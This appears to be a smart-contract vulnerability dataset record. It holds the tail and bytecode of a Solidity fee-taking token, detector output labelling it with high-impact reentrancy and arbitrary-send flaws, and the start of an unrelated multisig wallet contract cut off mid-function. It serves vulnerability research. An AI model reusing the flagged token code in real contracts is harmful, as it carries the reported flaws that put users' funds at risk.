_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063ca72a4e7146103a4578063d543dbeb146103cd578063dd62ed3e146103f657610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610433565b60405161013b919061295d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906125ce565b610470565b6040516101789190612942565b60405180910390f35b34801561018d57600080fd5b5061019661048e565b6040516101a39190612adf565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061257f565b61049e565b6040516101e09190612942565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906124f1565b610577565b005b34801561021e57600080fd5b50610227610667565b6040516102349190612b54565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061264b565b610670565b005b34801561027257600080fd5b5061027b610722565b005b34801561028957600080fd5b506102a4600480360381019061029f91906124f1565b610794565b6040516102b19190612adf565b60405180910390f35b3480156102c657600080fd5b506102cf6107e5565b005b3480156102dd57600080fd5b506102e6610938565b6040516102f39190612927565b60405180910390f35b34801561030857600080fd5b50610311610961565b60405161031e919061295d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906125ce565b61099e565b60405161035b9190612942565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061260a565b6109bc565b005b34801561039957600080fd5b506103a2610b0c565b005b3480156103b057600080fd5b506103cb60048036038101906103c691906124f1565b610b86565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612674565b610d69565b005b34801561040257600080fd5b5061041d60048036038101906104189190612543565b610eb1565b60405161042a9190612adf565b60405180910390f35b60606040518060400160405280600881526020017f534849424b494e47000000000000000000000000000000000000000000000000815250905090565b600061048461047d610f38565b8484610f40565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104ab84848461110b565b61056c846104b7610f38565b610567856040518060600160405280602881526020016131ef60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051d610f38565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118199092919063ffffffff16565b610f40565b600190509392505050565b61057f610f38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060390612a3f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610678610f38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fc90612a3f565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610763610f38565b73ffffffffffffffffffffffffffffffffffffffff161461078357600080fd5b60004790506107918161187d565b50565b60006107de600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611978565b9050919050565b6107ed610f38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612a3f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534849424b494e47000000000000000000000000000000000000000000000000815250905090565b60006109b26109ab610f38565b848461110b565b6001905092915050565b6109c4610f38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890612a3f565b60405180910390fd5b60005b8151811015610b0857600160066000848481518110610a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b0090612df5565b915050610a54565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4d610f38565b73ffffffffffffffffffffffffffffffffffffffff1614610b6d57600080fd5b6000610b7830610794565b9050610b83816119e6565b50565b610b8e610f38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1290612a3f565b60405180910390fd5b601160149054906101000a900460ff1615610c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6290612abf565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550660aa87bee5380006012819055506001601160146101000a81548160ff0219169083151502179055505050565b610d71610f38565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590612a3f565b60405180910390fd5b60008111610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e38906129ff565b60405180910390fd5b610e6f6064610e6183670de0b6b3a7640000611ce090919063ffffffff16565b611d5b90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610ea69190612adf565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa790612a9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611020576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611017906129bf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110fe9190612adf565b60405180910390a3505050565b601160149054906101000a900460ff16806111585750611129610938565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61116157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890612a7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112389061297f565b60405180910390fd5b60008111611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612a5f565b60405180910390fd5b6005600a81905550600a600b8190555061129c610938565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561130a57506112da610938565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113b35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6113bc57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114675750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114bd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114d55750601160179054906101000a900460ff165b15611585576012548111156114e957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061153457600080fd5b601e426115419190612c15565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116305750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116865750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561169c576005600a81905550600a600b819055505b60006116a730610794565b9050601160159054906101000a900460ff161580156117145750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561172c5750601160169054906101000a900460ff165b156117545761173a816119e6565b60004790506000811115611752576117514761187d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117fd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561180757600090505b61181384848484611da5565b50505050565b6000838311158290611861576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611858919061295d565b60405180910390fd5b50600083856118709190612cf6565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118cd600284611d5b90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156118f8573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611949600284611d5b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611974573d6000803e3d6000fd5b5050565b60006008548211156119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061299f565b60405180910390fd5b60006119c9611dd2565b90506119de8184611d5b90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a44577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611a725781602001602082028036833780820191505090505b5090503081600081518110611ab0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b5257600080fd5b505afa158015611b66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8a919061251a565b81600181518110611bc4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c2b30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f40565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c8f959493929190612afa565b600060405180830381600087803b158015611ca957600080fd5b505af1158015611cbd573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611cf35760009050611d55565b60008284611d019190612c9c565b9050828482611d109190612c6b565b14611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4790612a1f565b60405180910390fd5b809150505b92915050565b6000611d9d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dfd565b905092915050565b80611db357611db2611e60565b5b611dbe848484611ea3565b80611dcc57611dcb61206e565b5b50505050565b6000806000611ddf612082565b91509150611df68183611d5b90919063ffffffff16565b9250505090565b60008083118290611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b919061295d565b60405180910390fd5b5060008385611e539190612c6b565b9050809150509392505050565b6000600a54148015611e7457506000600b54145b15611e7e57611ea1565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080611eb5876120e1565b955095509550955095509550611f1386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff4816121f1565b611ffe84836122ae565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161205b9190612adf565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000670de0b6b3a764000090506120b6670de0b6b3a7640000600854611d5b90919063ffffffff16565b8210156120d457600854670de0b6b3a76400009350935050506120dd565b81819350935050505b9091565b60008060008060008060008060006120fe8a600a54600b546122e8565b925092509250600061210e611dd2565b905060008060006121218e87878761237e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061218b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611819565b905092915050565b60008082846121a29190612c15565b9050838110156121e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121de906129df565b60405180910390fd5b8091505092915050565b60006121fb611dd2565b905060006122128284611ce090919063ffffffff16565b905061226681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122c38260085461214990919063ffffffff16565b6008819055506122de8160095461219390919063ffffffff16565b6009819055505050565b6000806000806123146064612306888a611ce090919063ffffffff16565b611d5b90919063ffffffff16565b9050600061233e6064612330888b611ce090919063ffffffff16565b611d5b90919063ffffffff16565b9050600061236782612359858c61214990919063ffffffff16565b61214990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123978589611ce090919063ffffffff16565b905060006123ae8689611ce090919063ffffffff16565b905060006123c58789611ce090919063ffffffff16565b905060006123ee826123e0858761214990919063ffffffff16565b61214990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061241a61241584612b94565b612b6f565b9050808382526020820190508285602086028201111561243957600080fd5b60005b85811015612469578161244f8882612473565b84526020840193506020830192505060018101905061243c565b5050509392505050565b600081359050612482816131a9565b92915050565b600081519050612497816131a9565b92915050565b600082601f8301126124ae57600080fd5b81356124be848260208601612407565b91505092915050565b6000813590506124d6816131c0565b92915050565b6000813590506124eb816131d7565b92915050565b60006020828403121561250357600080fd5b600061251184828501612473565b91505092915050565b60006020828403121561252c57600080fd5b600061253a84828501612488565b91505092915050565b6000806040838503121561255657600080fd5b600061256485828601612473565b925050602061257585828601612473565b9150509250929050565b60008060006060848603121561259457600080fd5b60006125a286828701612473565b93505060206125b386828701612473565b92505060406125c4868287016124dc565b9150509250925092565b600080604083850312156125e157600080fd5b60006125ef85828601612473565b9250506020612600858286016124dc565b9150509250929050565b60006020828403121561261c57600080fd5b600082013567ffffffffffffffff81111561263657600080fd5b6126428482850161249d565b91505092915050565b60006020828403121561265d57600080fd5b600061266b848285016124c7565b91505092915050565b60006020828403121561268657600080fd5b6000612694848285016124dc565b91505092915050565b60006126a983836126b5565b60208301905092915050565b6126be81612d2a565b82525050565b6126cd81612d2a565b82525050565b60006126de82612bd0565b6126e88185612bf3565b93506126f383612bc0565b8060005b8381101561272457815161270b888261269d565b975061271683612be6565b9250506001810190506126f7565b5085935050505092915050565b61273a81612d3c565b82525050565b61274981612d7f565b82525050565b600061275a82612bdb565b6127648185612c04565b9350612774818560208601612d91565b61277d81612ecb565b840191505092915050565b6000612795602383612c04565b91506127a082612edc565b604082019050919050565b60006127b8602a83612c04565b91506127c382612f2b565b604082019050919050565b60006127db602283612c04565b91506127e682612f7a565b604082019050919050565b60006127fe601b83612c04565b915061280982612fc9565b602082019050919050565b6000612821601d83612c04565b915061282c82612ff2565b602082019050919050565b6000612844602183612c04565b915061284f8261301b565b604082019050919050565b6000612867602083612c04565b91506128728261306a565b602082019050919050565b600061288a602983612c04565b915061289582613093565b604082019050919050565b60006128ad602583612c04565b91506128b8826130e2565b604082019050919050565b60006128d0602483612c04565b91506128db82613131565b604082019050919050565b60006128f3601783612c04565b91506128fe82613180565b602082019050919050565b61291281612d68565b82525050565b61292181612d72565b82525050565b600060208201905061293c60008301846126c4565b92915050565b60006020820190506129576000830184612731565b92915050565b60006020820190508181036000830152612977818461274f565b905092915050565b6000602082019050818103600083015261299881612788565b9050919050565b600060208201905081810360008301526129b8816127ab565b9050919050565b600060208201905081810360008301526129d8816127ce565b9050919050565b600060208201905081810360008301526129f8816127f1565b9050919050565b60006020820190508181036000830152612a1881612814565b9050919050565b60006020820190508181036000830152612a3881612837565b9050919050565b60006020820190508181036000830152612a588161285a565b9050919050565b60006020820190508181036000830152612a788161287d565b9050919050565b60006020820190508181036000830152612a98816128a0565b9050919050565b60006020820190508181036000830152612ab8816128c3565b9050919050565b60006020820190508181036000830152612ad8816128e6565b9050919050565b6000602082019050612af46000830184612909565b92915050565b600060a082019050612b0f6000830188612909565b612b1c6020830187612740565b8181036040830152612b2e81866126d3565b9050612b3d60608301856126c4565b612b4a6080830184612909565b9695505050505050565b6000602082019050612b696000830184612918565b92915050565b6000612b79612b8a565b9050612b858282612dc4565b919050565b6000604051905090565b600067ffffffffffffffff821115612baf57612bae612e9c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c2082612d68565b9150612c2b83612d68565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c6057612c5f612e3e565b5b828201905092915050565b6000612c7682612d68565b9150612c8183612d68565b925082612c9157612c90612e6d565b5b828204905092915050565b6000612ca782612d68565b9150612cb283612d68565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ceb57612cea612e3e565b5b828202905092915050565b6000612d0182612d68565b9150612d0c83612d68565b925082821015612d1f57612d1e612e3e565b5b828203905092915050565b6000612d3582612d48565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d8a82612d68565b9050919050565b60005b83811015612daf578082015181840152602081019050612d94565b83811115612dbe576000848401525b50505050565b612dcd82612ecb565b810181811067ffffffffffffffff82111715612dec57612deb612e9c565b5b80604052505050565b6000612e0082612d68565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e3357612e32612e3e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131b281612d2a565b81146131bd57600080fd5b50565b6131c981612d3c565b81146131d457600080fd5b50565b6131e081612d68565b81146131eb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ef49f54e2b1baf0c544f5e0ce132c773d3c2d6de755ef00f84c078f4011311964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,991 |
0x0f6fa2a0fa387f7ef9592f97a38b558c461682e8
|
/**
*Submitted for verification at Etherscan.io on 2021-05-03
*/
/**
*
*
________ ________ __
/ | / | / |
$$$$$$$$/______ __ __ ______ ______ $$$$$$$$/ __ __ _______ $$ |____ ______ _______ ______ ______
$$ |__ / \ / \ / |/ \ / \ $$ |__ / \ / | / |$$ \ / \ / \ / \ / \
$$ | $$$$$$ |$$ \ /$$//$$$$$$ |/$$$$$$ | $$ | $$ \/$$/ /$$$$$$$/ $$$$$$$ | $$$$$$ |$$$$$$$ |/$$$$$$ |/$$$$$$ |
$$$$$/ / $$ | $$ /$$/ $$ | $$ |$$ | $$/ $$$$$/ $$ $$< $$ | $$ | $$ | / $$ |$$ | $$ |$$ | $$ |$$ $$ |
$$ | /$$$$$$$ | $$ $$/ $$ \__$$ |$$ | $$ |_____ /$$$$ \ $$ \_____ $$ | $$ |/$$$$$$$ |$$ | $$ |$$ \__$$ |$$$$$$$$/
$$ | $$ $$ | $$$/ $$ $$/ $$ | $$ |/$$/ $$ |$$ |$$ | $$ |$$ $$ |$$ | $$ |$$ $$ |$$ |
$$/ $$$$$$$/ $/ $$$$$$/ $$/ $$$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$ | $$$$$$$/
/ \__$$ |
$$ $$/
$$$$$$/
εɖɖίε રεĢĢίε ĵΘε
*
*
*/
pragma solidity ^0.4.26;
/// @title FavorTokenMasterWallet wallet - Allows multiple parties to agree on transactions before execution.
/// @author Eddie Thomas
contract FavorExchangeTokenMasterWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function() public
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
